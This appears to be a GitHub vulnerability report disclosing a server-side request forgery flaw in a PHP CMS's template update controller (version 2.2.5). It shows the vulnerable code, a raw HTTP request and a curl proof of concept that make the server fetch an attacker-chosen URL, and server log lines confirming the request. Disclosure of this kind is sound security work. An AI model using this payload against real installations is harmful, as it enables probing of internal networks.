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[Vuln] SSRF vulnerability in update Function of TemplateController.php File when \$action is start-download (2.2.5 version) #75

🔒 Closed zer0yu opened this issue on May 22 · 0 comments

zer0yu commented on May 22

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

Impact version: 2.2.5

Test with PHP 7.2

The vulnerable code is located in the `update` function of the `app/admin/c/TemplateController.php` file, which fails to validate the `download_url` parameter, causing a taint flow from the source `$remote_url` variable into the sink function `fopen`. This eventually leads to an SSRF vulnerability that can send a request to the URL specified by the `download_url` parameter.

```
function update(){
    $template = $this->frparam('template',1);
    if(strpos($template,'.')!==false){
        JsonResult(array('code'=>1,'msg'=>JZLANG('参数存在安全隐患!')));
    }
    $this->template_name = $template;
    $dir = APP_PATH.'static';
    if($template){
        if($this->frparam('action',1)){
            $action = $this->frparam('action',1);
            // 自己获取这些信息
            $remote_url = urldecode($this->frparam('download_url',1));
            $remote_url = strpos($remote_url,'?')!==false ? $remote_url.'&version='.$this
            $file_size = $this->frparam('filesize',1);
            $tmp_path = Cache_Path."/update_".$filepath.".zip";//临时下载文件路径
            switch ($action) {
                .....
                case 'start-download':
                    // 这里检测下 tmp_path 是否存在
                    try {
                        set_time_limit(0);
```

```

touch($tmp_path);
if ($fp = fopen($remote_url, "rb")) {
    if (!$download_fp = fopen($tmp_path, "wb")) {
        exit;
    }
    while (!feof($fp)) {
        if (!file_exists($tmp_path)) {
            // 如果临时文件被删除就取消下载
            fclose($download_fp);
            exit;
        }
        fwrite($download_fp, fread($fp, 1024 * 8), 1024 * 8);
    }
    fclose($download_fp);
    fclose($fp);
} else {
    exit;
}
} catch (Exception $e) {
    Storage::remove($tmp_path);
    JsonResult(['code'=>1, 'msg'=>JZLANG('发生错误').': '.$e->getMessage]);
}

JsonReturn(['code'=>0, 'tmp_path'=>$tmp_path]);
break;

```

Because the download_url parameter is not restricted, it is also possible to use the server-side to send requests, such as probing intranet web services. The corresponding PoC is as follows:

```

POST /index.php/admins/Template/update.html HTTP/1.1
Host: 172.16.119.130
Content-Length: 73
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/99.0.4844.84 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.119.130
Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_var=zh-cn; PHPSESSID=1kbci4j8clqc6de6rhpn9fdk31
Connection: close

```

```
action=start-download&template=cms&download_url=http://localhost/startpoc
```

You can also use the following curl command to verify the vulnerability

```

curl -i -s -k -X 'POST' \
-H '$Host: 172.16.119.130' -H '$Content-Type: application/x-www-form-urlencoded; charset=UTF-

```

```
8' -H '$Connection: close' -H '$Content-Length: 73' \
  -b '$think_var=zh-cn; PHPSESSID=g3e5nupqb19trokgr9msul8d91' \
  --data-binary '$action=start-download&template=cms&download_url=http://localhost/startpoc' \
  '$http://172.16.119.130/index.php/admins/Template/update.html'
```

We can then see the corresponding request in the apache server logs, which proves that the SSRF vulnerability can be triggered

```
95 172.16.119.1 - [22/May/2022:05:04:00 -0700] "GET /index.php/admins/Index/update_session_
96 172.16.119.1 - [22/May/2022:05:04:30 -0700] "GET /index.php/admins/Index/update_session_
97 172.16.119.1 - [22/May/2022:05:05:00 -0700] "GET /index.php/admins/Index/update_session_
98 127.0.0.1 - [22/May/2022:05:05:13 -0700] "GET /startpoc?version=2.2.5 HTTP/1.0" 404 1990
99 172.16.119.1 - [22/May/2022:05:05:13 -0700] "POST /index.php/admins/Template/update.htm
100 172.16.119.1 - [22/May/2022:05:05:30 -0700] "GET /index.php/admins/Index/update_session_
101
```



Cherry-toto closed this as completed on May 22

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

